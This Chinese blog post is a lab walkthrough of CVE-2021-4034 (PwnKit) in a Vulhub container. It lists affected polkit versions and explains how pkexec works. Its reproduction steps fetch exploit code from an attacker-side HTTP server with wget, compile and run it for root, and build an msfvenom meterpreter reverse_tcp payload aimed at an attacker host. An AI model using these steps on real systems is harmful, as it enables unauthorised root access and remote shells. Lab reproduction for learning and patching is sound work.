CVE-2021-4034

最新推荐文章于 2025-06-04 09:00:03 发布

d1k3siy

最新推荐文章于 2025-06-04 09:00:03 发布

阅读量988

点赞数 8

CC 4.0 BY-SA版权

分类专栏： CVE漏洞复现与分析文章标签： linux 网络安全系统安全

本文链接：https://blog.csdn.net/Dikesi/article/details/145538498

CVE漏洞复现与分析专栏收录该内容

40 篇文章

订阅专栏

CVE-2021-4034（Linux Polkit 权限提升漏洞）

漏洞描述

polkit包旨在定义和处理允许非特权进程与Linux系统上的特权进程通行的策略，Pkexec是polkit的一部分，是一个允许用户根据polkit策略定义使用setuid功能以其他用户身份执行命令的工具。

pkexec中发现的漏洞允许无特权的本地攻击者提升权限，由于对进程参数向量的处理不正确而绕过任何身份验证和策略。

主要风险是非特权用户可能获取受影响系统的管理特权，攻击者必须具有对目标系统的登录权限才能执行攻击。

影响版本

Debain stretch policykit-1 < 0.105-18+deb9u2
Debain buster policykit-1 < 0.105-25+deb10u1
Debain bookworm, bullseye policykit-1 < 0.105-31.1
Ubuntu 21.10 (Impish Indri) policykit-1 < 0.105-31ubuntu0.1
Ubuntu 21.04 (Hirsute Hippo) policykit-1 Ignored (reached end-of-life)
Ubuntu 20.04 LTS (Focal Fossa) policykit-1 < 0.105-26ubuntu1.2)
Ubuntu 18.04 LTS (Bionic Beaver) policykit-1 <0.105-20ubuntu0.18.04.6)
Ubuntu 16.04 ESM (Xenial Xerus) policykit-1 <0.105-14.1ubuntu0.5+esm1)
Ubuntu 14.04 ESM (Trusty Tahr) policykit-1 <0.105-4ubuntu3.14.04.6+esm1)
CentOS 6 polkit < polkit-0.96-11.el6_10.2
CentOS 7 polkit < polkit-0.112-26.el7_9.1
CentOS 8.0 polkit < polkit-0.115-13.el8_5.1
CentOS 8.2 polkit < polkit-0.115-11.el8_2.2
CentOS 8.4 polkit < polkit-0.115-11.el8_4.2

环境配置

Vulhub项目
Docker-compose启动

polkit版本为0.105

漏洞复现

SSH登录环境

ssh ubuntu@192.168.40.129 -p 2222

密码为vulhub

脚本复现

searchsploit polkit

根据版本和描述选择50011.sh

searchsploit -m 50011

【攻击机】
python3 -m http.server 8080
【靶机】
cd /tmp
wget http://192.168.40.129:8080/50011.sh

[!failure]
这个脚本利用失败

换用EXP：

https://github.com/berdav/CVE-2021-4034
https://github.com/arthepsy/CVE-2021-4034

【攻击机】
python3 -m http.server 8080
【靶机】
cd /tmp
wget http://192.168.40.129:8080/cve-2021-4034-poc.c
gcc cve-2021-4034-poc.c -o cve
./cve

[!success]
成功提权

MSF利用

search cve:2021-4034

利用的前提为有session

msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.40.129 LPORT=4444 -f elf > shell.elf

use exploit/linux/local/cve_2021_4034_pwnkit_lpe_pkexec

[!success]
成功提权

漏洞原理

Polkit 身份验证框架

Polkit 是 Linux 图形桌面环境中使用的身份验证框架，用于对系统中的访问权限进行精细管理。在传统上，Linux 上的 root 用户（获得完全授权的管理员帐户）与系统中所有其他帐户和组之间存在严格的特权分离。这些非管理员帐户可能拥有特定的附加特权，例如通过 audio 组访问声音硬件。不过，这种特权是固定的，在特定的情况下或特定的时间内无法授予。

Polkit 不是完全切换到 root 用户（使用 sudo 之类的程序）来获取较高的特权，而是根据需要向用户或组授予特定的特权。此过程由配置文件控制，这些配置文件描述了需要在动态环境中授权的各个操作。

Polkit 实用程序

Polkit 提供了用于完成特定任务的实用程序：

pkaction

获取有关所定义操作的细节。有关更多信息，请参见第 18.3 节 “查询特权”。
pkcheck

检查某个进程是否有权执行特定的 Polkit 操作。
pkexec

允许程序根据 Polkit 授权设置以不同用户的身份执行。这与 su 或 sudo 类似。
pkttyagent

启动文本身份验证代理。如果桌面环境没有自己的身份验证代理，将使用此代理。

Polkit 身份验证框架

Pkexec 机制

pkexec 允许授权用户以另一个用户的身份执行 PROGRAM。如果未指定 PROGRAM，则将运行默认 shell。如果未指定用户名，则程序将以管理超级用户 root 的身份执行。

语法

pkexec [--version] [--disable-internal-agent] [--help]
pkexec [--keep-cwd] [--user username] PROGRAM [ARGUMENTS...]

选项

PROGRAM 运行的程序
ARGUMENTS... 传递给程序的参数

--version 输出版本号然后退出
--disable-internal-agent 避免将注册自己的文本身份验证代理
--help 输出帮助文本然后退出
--keep-cwd 运行位置，默认在 /home/<username>/
--user <username> 需要运行的用户名